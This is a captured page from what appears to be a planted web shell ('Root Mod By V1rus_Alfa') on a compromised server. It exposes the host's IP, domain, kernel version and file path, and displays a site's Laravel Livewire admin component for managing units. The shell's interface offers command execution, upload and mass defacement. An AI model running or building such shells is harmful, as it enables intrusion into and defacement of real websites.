���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
cutunix
/
app
/
Livewire
/
Admin
/
Pages
/
Analyze
/
Units
/
Viewing: Table.php
<?php namespace App\Livewire\Admin\Pages\Analyze\Units; use App\Models\Unit; use App\Models\Files; use Livewire\Component; use Livewire\WithPagination; use Masmerise\Toaster\Toaster; use App\Exports\UnitExport; use Maatwebsite\Excel\Facades\Excel; use function App\Helpers\destroyFile; use Illuminate\Filesystem\Filesystem; class Table extends Component { use WithPagination; public $search = ''; public $category; protected $listeners = ['refreshTable' => '$refresh']; public function deleteItem($id, Filesystem $filesystem) { $unit = Unit::where('id', $id)->first(); if ($unit->image_2D) { Files::where('table', 'Unit_2D')->where('row_id', $id)->delete(); destroyFile($unit->image_2D, $filesystem); } if ($unit->Unit_3D) { Files::where('table', 'Unit_3D')->where('row_id', $id)->delete(); destroyFile($unit->Unit_3D, $filesystem); } Unit::where('id', $id)->delete(); $this->dispatch('refreshTable'); Toaster::success('عملیات با موفقیت انجام شد'); return; } public function handelExcel() { return Excel::download(new UnitExport(), 'unit.xlsx'); } public function render() { $result = Unit:: when($this->search, function ($q) { $q->where('title', 'like', '%' . $this->search . '%'); }) ->when($this->category && $this->category != 0, function ($q) { $q->where('category', $this->category); }) ->paginate(10); return view('livewire.admin.pages.analyze.units.table', ['result' => $result]); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa